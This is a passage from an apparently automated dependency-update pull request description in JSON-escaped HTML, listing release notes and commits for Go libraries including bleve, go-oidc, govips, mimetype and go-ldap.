href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2309\"\u003eblevesearch/bleve#2309\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAbsorb fixes for filtering vector search, update workflows by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2314\"\u003eblevesearch/bleve#2314\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-59670: GPU-Accelerated Vector Search by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e ; see \u003ca href=\"https://github.com/blevesearch/bleve/blob/v2.6.0/docs/vectors.md\"\u003edocs/vectors.md\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71383: Expose vector field stats in scorch by \u003ca href=\"https://github.com/capemox\"\u003e\u003ccode\u003e@​capemox\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2316\"\u003eblevesearch/bleve#2316\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eAdded check for in-memory segment merge by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2319\"\u003eblevesearch/bleve#2319\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71607: Fixed data corruption in bolt by \u003ca href=\"https://github.com/Likith101\"\u003e\u003ccode\u003e@​Likith101\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2324\"\u003eblevesearch/bleve#2324\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eFix metrics involving NestedDocuments by \u003ca href=\"https://github.com/CascadingRadium\"\u003e\u003ccode\u003e@​CascadingRadium\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2325\"\u003eblevesearch/bleve#2325\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eMB-71216, MB-71650: Implement fast merge over binary index classes by \u003ca href=\"https://github.com/Thejas-bhat\"\u003e\u003ccode\u003e@​Thejas-bhat\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2326\"\u003eblevesearch/bleve#2326\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eUpgrade to go-faiss@v1.1.0; Fix formatting, typos, etc. in docs/ by \u003ca href=\"https://github.com/abhinavdangeti\"\u003e\u003ccode\u003e@​abhinavdangeti\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/blevesearch/bleve/pull/2328\"\u003eblevesearch/bleve#2328\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eIntroduced new file format - \u003ca href=\"https://github.com/blevesearch/zapx/tree/v17.1.2\"\u003ezapx@v17\u003c/a\u003e\u003c/h3\u003e\n\u003cp\u003e\u003cstrong\u003eMilestone\u003c/strong\u003e: \u003ca href=\"https://github.com/blevesearch/bleve/milestone/29\"\u003ehttps://github.com/blevesearch/bleve/milestone/29\u003c/a\u003e\n\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\"\u003ehttps://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/d8f2ab9a11166223bc4997143efda40ec98045e7\"\u003e\u003ccode\u003ed8f2ab9\u003c/code\u003e\u003c/a\u003e Upgrade to go-faiss@v1.1.0; Fix formatting, typos, etc. in docs/ (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2328\"\u003e#2328\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/71b13fe1cf1dbe8d0dd2115f2c1570d0a1340654\"\u003e\u003ccode\u003e71b13fe\u003c/code\u003e\u003c/a\u003e go fmt ./... (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2327\"\u003e#2327\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/2a4804932d06267104bbad8b4601a320e746ba5d\"\u003e\u003ccode\u003e2a48049\u003c/code\u003e\u003c/a\u003e MB-71216, MB-71650: Implement fast merge over binary index classes (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2326\"\u003e#2326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/a9e101a9947fa5dbffea3f3727e4e27ea6aed9b9\"\u003e\u003ccode\u003ea9e101a\u003c/code\u003e\u003c/a\u003e Fix metrics involving NestedDocuments (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2325\"\u003e#2325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/2c7269ac3e11a4fb5baebd5ca34895b4babb69d2\"\u003e\u003ccode\u003e2c7269a\u003c/code\u003e\u003c/a\u003e v2.6.0 doc fixes (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2323\"\u003e#2323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/e5e7e9e7a77a0205e2f695b61e8779a5bd9ed0f6\"\u003e\u003ccode\u003ee5e7e9e\u003c/code\u003e\u003c/a\u003e MB-71607: Fixed data corruption in bolt (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2324\"\u003e#2324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/08e551fc149f59aee99e99732b66e95d50607871\"\u003e\u003ccode\u003e08e551f\u003c/code\u003e\u003c/a\u003e Updates to docs/vectors.md for v2.6.0 (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2320\"\u003e#2320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/7cb486d98c678a0561fb94851367f5197f27353b\"\u003e\u003ccode\u003e7cb486d\u003c/code\u003e\u003c/a\u003e Add a document for fast merge (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2321\"\u003e#2321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/d3a4022ed0979907ae42dbea66f0d201304d062b\"\u003e\u003ccode\u003ed3a4022\u003c/code\u003e\u003c/a\u003e Added check for in-memory segment merge (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2319\"\u003e#2319\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/blevesearch/bleve/commit/77af9c88ecded5c284d10954b81f729771e10646\"\u003e\u003ccode\u003e77af9c8\u003c/code\u003e\u003c/a\u003e Update docs/vectors.md  (\u003ca href=\"https://redirect.github.com/blevesearch/bleve/issues/2318\"\u003e#2318\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/blevesearch/bleve/compare/v2.5.7...v2.6.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/coreos/go-oidc/v3` from 3.17.0 to 3.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/coreos/go-oidc/releases\"\u003egithub.com/coreos/go-oidc/v3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.18.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e.github: configure dependabot by \u003ca href=\"https://github.com/ericchiang\"\u003e\u003ccode\u003e@​ericchiang\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/477\"\u003ecoreos/go-oidc#477\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e.github: update go versions in CI by \u003ca href=\"https://github.com/ericchiang\"\u003e\u003ccode\u003e@​ericchiang\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/480\"\u003ecoreos/go-oidc#480\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump golang.org/x/oauth2 from 0.28.0 to 0.36.0 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/478\"\u003ecoreos/go-oidc#478\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebuild(deps): bump github.com/go-jose/go-jose/v4 from 4.1.3 to 4.1.4 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/coreos/go-oidc/pull/479\"\u003ecoreos/go-oidc#479\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\"\u003ehttps://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/da6b3bfca8af72414ee0e6e8746585ff5d206003\"\u003e\u003ccode\u003eda6b3bf\u003c/code\u003e\u003c/a\u003e build(deps): bump github.com/go-jose/go-jose/v4 from 4.1.3 to 4.1.4\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/7f80694215d5eb5b28f851f35845439b1e1e9e5d\"\u003e\u003ccode\u003e7f80694\u003c/code\u003e\u003c/a\u003e build(deps): bump golang.org/x/oauth2 from 0.28.0 to 0.36.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/7271de57587bb756318f9819796ba846b1ba875a\"\u003e\u003ccode\u003e7271de5\u003c/code\u003e\u003c/a\u003e .github: update go versions in CI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/coreos/go-oidc/commit/3ccf20fdc4afab7c64881a108d6f4c17a4ecc24d\"\u003e\u003ccode\u003e3ccf20f\u003c/code\u003e\u003c/a\u003e .github: configure dependabot\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/coreos/go-oidc/compare/v3.17.0...v3.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/davidbyttow/govips/v2` from 2.16.0 to 2.18.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/davidbyttow/govips/releases\"\u003egithub.com/davidbyttow/govips/v2's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.18.0\u003c/h2\u003e\n\u003ch2\u003eHighlights\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eLeak detector\u003c/strong\u003e: new \u003ccode\u003eOpenImageRefs()\u003c/code\u003e and \u003ccode\u003eAssertNoLeaks(t)\u003c/code\u003e API for tracking unclosed \u003ccode\u003eImageRef\u003c/code\u003e instances (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eSplit \u003ccode\u003eImageRef\u003c/code\u003e\u003c/strong\u003e: decomposed the 2607-line god object into 8 focused files by concern — zero API changes, same public surface (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eWebP shrink-on-load\u003c/strong\u003e support via scale parameter (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/516\"\u003e#516\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eAnimated AVIF (avis) detection\u003c/strong\u003e support (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/513\"\u003e#513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix memory leaks\u003c/strong\u003e in \u003ccode\u003evipsGetPoint\u003c/code\u003e and \u003ccode\u003evipsImageGetAsString\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/510\"\u003e#510\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eFix segfault\u003c/strong\u003e during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eReplace panics with errors\u003c/strong\u003e in \u003ccode\u003estartupIfNeeded\u003c/code\u003e and test helpers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/522\"\u003e#522\u003c/a\u003e, \u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eUpdate minimum libvips\u003c/strong\u003e from 8.10 to 8.14 (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/518\"\u003e#518\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix C code bugs in \u003ccode\u003eset_image_delay\u003c/code\u003e and \u003ccode\u003elabel\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/512\"\u003e#512\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRemove incorrect defers that would free internal vips pointers (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/511\"\u003e#511\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003eSimplify CI workflow, align Go version with go.mod (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/519\"\u003e#519\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eBreaking\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved \u003ccode\u003evips/pipeline\u003c/code\u003e package — it was a thin wrapper over \u003ccode\u003eImageRef\u003c/code\u003e methods covering ~40 of 139 methods, creating a dual-surface problem. Use \u003ccode\u003eImageRef\u003c/code\u003e methods directly.\u003c/li\u003e\n\u003cli\u003eMinimum libvips version bumped from 8.10 to 8.14\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003ev2.17.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003ch3\u003eNew Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eAdd built-in vipsgen code generator for auto-generating C bridge wrappers\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eNewTransparentCanvas\u003c/code\u003e helper for creating transparent RGBA images\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eGrey()\u003c/code\u003e constructor for creating gradient images\u003c/li\u003e\n\u003cli\u003eAdd fast Go \u003ccode\u003eimage.Image\u003c/code\u003e interop: \u003ccode\u003eToGoImage\u003c/code\u003e and \u003ccode\u003eNewImageFromGoImage\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eLoop\u003c/code\u003e API and preserve loop/delay metadata in \u003ccode\u003eRemoveMetadata\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eAdd gravity function\u003c/li\u003e\n\u003cli\u003eAdd PSD support\u003c/li\u003e\n\u003cli\u003eAdd Magick Save, support ICO load\u003c/li\u003e\n\u003cli\u003eAdd access options while loading image\u003c/li\u003e\n\u003cli\u003eAdd additional image operation functions\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFix memory leak, panics, and race condition\u003c/li\u003e\n\u003cli\u003eFix memory leak when using multi pages\u003c/li\u003e\n\u003cli\u003eFix animated resize producing toilet-roll images\u003c/li\u003e\n\u003cli\u003eFix CMYK ICC profile ignored when embedded profile exists\u003c/li\u003e\n\u003cli\u003eFix TIFF tile dimensions zero-value crash\u003c/li\u003e\n\u003cli\u003eFix JXL type detection for ISOBMFF containers with varying box sizes\u003c/li\u003e\n\u003cli\u003eAdd \u003ccode\u003eruntime.KeepAlive\u003c/code\u003e to prevent GC finalization during CGo calls\u003c/li\u003e\n\u003cli\u003eStop implicitly converting BMP files to PNG\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eInternal Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eConsolidate generated C bridge files into \u003ccode\u003egenerated.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eConsolidate hand-written C bridge files into \u003ccode\u003eoperations.{c,h,go}\u003c/code\u003e\u003c/li\u003e\n\u003cli\u003eReduce hand-written C bridge code by using generated wrappers\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1c56c968207c748f90627c998f93be6cbbe2bbca\"\u003e\u003ccode\u003e1c56c96\u003c/code\u003e\u003c/a\u003e Add leak detector, remove pipeline, split ImageRef god object (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/525\"\u003e#525\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/ed2402c9854112076bff4f583c9537542e46be61\"\u003e\u003ccode\u003eed2402c\u003c/code\u003e\u003c/a\u003e update claude.md and remove unnecessary files\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/b8b8568af3fb38493e28952288b398d8d4f9c025\"\u003e\u003ccode\u003eb8b8568\u003c/code\u003e\u003c/a\u003e Add composable pipeline API for image transforms (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/524\"\u003e#524\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e1b3461e4a1b6d20c0788885d8ee1bd7b59e163b\"\u003e\u003ccode\u003ee1b3461\u003c/code\u003e\u003c/a\u003e Update dependencies to fix known vulnerabilities\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/74b216dc420d24d369d21c2fe3dc90baac891d57\"\u003e\u003ccode\u003e74b216d\u003c/code\u003e\u003c/a\u003e Fix segfault during animated WebP export in test suite\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/4f36436b36628de0479fba2627f981dd98a637d2\"\u003e\u003ccode\u003e4f36436\u003c/code\u003e\u003c/a\u003e Simplify CI workflow: drop Coveralls, clean up steps\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/e09c89dce24e9b4c731e67c6e75c5a819cf5dd1b\"\u003e\u003ccode\u003ee09c89d\u003c/code\u003e\u003c/a\u003e Remove stale build/ directory with outdated Dockerfiles\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/1d528fba548f06fa4a1f0df89d045e4ca6c2887d\"\u003e\u003ccode\u003e1d528fb\u003c/code\u003e\u003c/a\u003e Replace deprecated Export() call in ToImage() with ExportNative()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/3fad8cc6f81dd62e63833cca59b51fcdeaec4ec8\"\u003e\u003ccode\u003e3fad8cc\u003c/code\u003e\u003c/a\u003e add usage examples\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/davidbyttow/govips/commit/6cf8e10a85829278ad1b0f35e73825bf2b570ff5\"\u003e\u003ccode\u003e6cf8e10\u003c/code\u003e\u003c/a\u003e Return error from startupIfNeeded instead of panicking (\u003ca href=\"https://redirect.github.com/davidbyttow/govips/issues/523\"\u003e#523\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/davidbyttow/govips/compare/v2.16.0...v2.18.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/gabriel-vasile/mimetype` from 1.4.12 to 1.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gabriel-vasile/mimetype/releases\"\u003egithub.com/gabriel-vasile/mimetype's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eSupport for .hlp, .inf, .fm, .bufr\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003endjson: fix inputs truncated on the second line; fix \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/744\"\u003e#744\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/745\"\u003egabriel-vasile/mimetype#745\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebmp: harden detection against false-positives in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/746\"\u003egabriel-vasile/mimetype#746\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eos2: add support for .hlp and .inf in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/747\"\u003egabriel-vasile/mimetype#747\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ettf: harden detection in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/750\"\u003egabriel-vasile/mimetype#750\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ettf: use ints instead of string for better performance in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/751\"\u003egabriel-vasile/mimetype#751\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eframemaker: add support in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/752\"\u003egabriel-vasile/mimetype#752\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003ebufr: add support in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/754\"\u003egabriel-vasile/mimetype#754\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003eExtend: ensure MIME string normalization by \u003ca href=\"https://github.com/yzqzss\"\u003e\u003ccode\u003e@​yzqzss\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/756\"\u003egabriel-vasile/mimetype#756\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003em3u: add x-mpegurl alias by \u003ca href=\"https://github.com/AltayAkkus\"\u003e\u003ccode\u003e@​AltayAkkus\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/755\"\u003egabriel-vasile/mimetype#755\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/yzqzss\"\u003e\u003ccode\u003e@​yzqzss\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/756\"\u003egabriel-vasile/mimetype#756\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/AltayAkkus\"\u003e\u003ccode\u003e@​AltayAkkus\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/pull/755\"\u003egabriel-vasile/mimetype#755\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\"\u003ehttps://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/8822588d35ff221d0a72627f27a94ba58f661d89\"\u003e\u003ccode\u003e8822588\u003c/code\u003e\u003c/a\u003e build(deps): bump the github-actions group across 1 directory with 3 updates\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/dfcfd009e6cf350dd1e45c20c44de7677898e1c6\"\u003e\u003ccode\u003edfcfd00\u003c/code\u003e\u003c/a\u003e m3u: check NL after signature for fewer false-positives\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/b40e4de95a9097a763cd326d23535d9a0425778d\"\u003e\u003ccode\u003eb40e4de\u003c/code\u003e\u003c/a\u003e ndjson: remove duplicate testcase\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/b9d4202cf4890209507dd5a3756e2808cb6f2678\"\u003e\u003ccode\u003eb9d4202\u003c/code\u003e\u003c/a\u003e m3u: add x-mpegurl alias (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/755\"\u003e#755\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/913ef6ef3e684f6578f5c70e87e97fbff8d2f995\"\u003e\u003ccode\u003e913ef6e\u003c/code\u003e\u003c/a\u003e Extend: Ensure MIME string normalization (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/756\"\u003e#756\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/02cce61ca0f4f2f37f021933d1d9662f27ac0b56\"\u003e\u003ccode\u003e02cce61\u003c/code\u003e\u003c/a\u003e bufr: add support (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/754\"\u003e#754\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/fe42f3ef484e2fd8115c39ca19f6f7ed442bf2c6\"\u003e\u003ccode\u003efe42f3e\u003c/code\u003e\u003c/a\u003e framemaker: add support (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/752\"\u003e#752\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/0beb64fe109a15eac4caa03ecfb8d60557bab138\"\u003e\u003ccode\u003e0beb64f\u003c/code\u003e\u003c/a\u003e ttf: use ints instead of string for better performance (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/751\"\u003e#751\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/3e267fccf585f4cf852d8264425c4195ebc2f390\"\u003e\u003ccode\u003e3e267fc\u003c/code\u003e\u003c/a\u003e fonts: harden TTF and OTF detection (\u003ca href=\"https://redirect.github.com/gabriel-vasile/mimetype/issues/750\"\u003e#750\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/gabriel-vasile/mimetype/commit/789eb1d809d05031f88df12c386b6ce12218d83f\"\u003e\u003ccode\u003e789eb1d\u003c/code\u003e\u003c/a\u003e misc: remove an outdated TODO\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/gabriel-vasile/mimetype/compare/v1.4.12...v1.4.13\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `github.com/go-ldap/ldap/v3` from 3.4.12 to 3.4.13\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/go-ldap/ldap/releases\"\u003egithub.com/go-ldap/ldap/v3's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev3.4.13\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix DirSync flags encoding by \u003ca 